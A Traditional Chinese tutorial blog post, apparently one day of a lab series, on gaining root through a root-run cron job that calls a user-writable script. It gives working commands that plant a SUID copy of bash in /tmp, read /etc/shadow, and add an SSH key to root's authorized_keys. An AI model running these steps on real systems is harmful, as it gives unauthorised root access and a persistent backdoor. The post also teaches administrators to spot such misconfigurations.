今天的主角是維運的好夥伴 cron,我們在定期執行腳本做部署、撈 Log、設定主機組態的時候很常用到它;不過正因為它能「自動、定時、以特定身分」執行任務,也常被駭客當成提權的目標。接下來我們就實際用 crontab 來做一次提權吧!
我們先來看一下 crontab 的語法結構,執行下面這個指令:cat /etc/crontab
依據上圖的結果簡單說一下原理:
SHELL=/bin/bash:指定用哪一個 shell 執行指令PATH=/sbin:/bin:/usr/sbin:/usr/bin:crontab 執行指令時,依序搜尋執行檔的目錄MAILTO=root:把執行結果寄給誰* * * * * user-name command:從左至右的時間單位為「分、時、日、月、星期」;user-name = 以哪個帳號的身分執行,後面才是要執行的指令/etc/crontab 只能由 root 管理,因為它多了一個「身分欄」——如果任何人都能寫它,就等於任何人都能叫系統以 root 執行指令。
不過改不動 /etc/crontab 也沒關係,山不轉路轉——我們可以去找「root 會執行、而我又剛好能改」的排程。下面用實作來看效果:
我們現在是 user 帳號,目的是透過 crontab 提權成 root。首先執行以下指令:
cat /etc/crontab
ls -l /etc/cron.d/
ls -l /etc/cron.{hourly,daily,weekly,monthly}/
crontab -l 2>/dev/null
sudo -n true 2>/dev/null && sudo crontab -l

cron 的設定散落在很多地方,一一介紹:
/etc/cron.d/:放置系統級 cron 片段的目錄,格式和 /etc/crontab 一樣有身分欄,一般 user 預設不能寫/etc/cron.hourly/
/etc/cron.daily/
/etc/cron.weekly/
/etc/cron.monthly/
crontab -l 2>/dev/null:查看目前使用者有沒有建立自己的排程sudo -n true 2>/dev/null && sudo crontab -l:先測 sudo 能不能免密碼執行,可以的話就能看到 root 自己的個人排程根據蒐集到的結果,比較有價值的是 /etc/cron.d/lab08,我們用 cat 看一下內容:
圖中可以看到這條排程會以 root、每分鐘執行 /opt/lab08/db-backup.sh。因此我們先確認自己對 /opt/lab08/db-backup.sh 有沒有寫入權限,執行以下指令:
ls -l /opt/lab08/db-backup.sh
test -w /opt/lab08/db-backup.sh && echo "我寫得到" || echo "我寫不到"
test 是用來檢查條件的指令,在 Bash 中通常是內建指令;-w 就是問 kernel「以我現在的身分,這個檔我寫得動嗎?」
看起來是寫得進去的。不過為了保險起見,先驗證這條排程真的會動——我們寫一行無害的測試指令,等一分鐘看看:
echo 'id > /tmp/day08-proof 2>&1' >> /opt/lab08/db-backup.sh
sleep 62
cat /tmp/day08-proof

OK,排程有跑 + user 寫得進去 + 執行身分是 root,可以搞事了。
在 Day 06 我們用「可寫腳本 + sudo」的方式來提權,這次改成「可寫腳本 + crontab」觸發。執行下面的指令:
echo 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash' >> /opt/lab08/db-backup.sh
sleep 62
/tmp/rootbash -p
cat /etc/shadow > /dev/null ; echo $?

這邊看到狀態碼是 0,表示我們讀得到 /etc/shadow(只有 root 讀得到)=提權成功。
原理是利用 SSH 公鑰免密碼登入的機制來提權,執行的腳本如下:
echo 'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA...你的公鑰... day08-lab" >> /root/.ssh/authorized_keys; chmod 600 /root/.ssh/authorized_keys' >> /opt/lab08/db-backup.sh
sleep 62
ssh root@127.0.0.1

方法二能成功的前提:
PubkeyAuthentication yes,多數系統預設就是開的)PermitRootLogin 為 yes 或 prohibit-password;RHEL 9 預設 prohibit-password,它擋密碼、但不擋金鑰,所以這招照樣通——只有設成 no 才會被擋)今天只介紹兩個基本的 crontab 提權方式,實作起來會讓我想到這個情境。
從今天的實作可以體會到有問題的不是 cron 這個功能,是因為我們的檔案權限沒有設定好導致駭客能夠利用這些錯誤設定來達到提權的效果。日常維運的時候必須多多注意自己的檔案權限是否控管得當,才可以保住系統的安全性。
明天我們來介紹 PATH Hijacking,也就是我們的 Day 09,感謝大家的收看~我們明天見。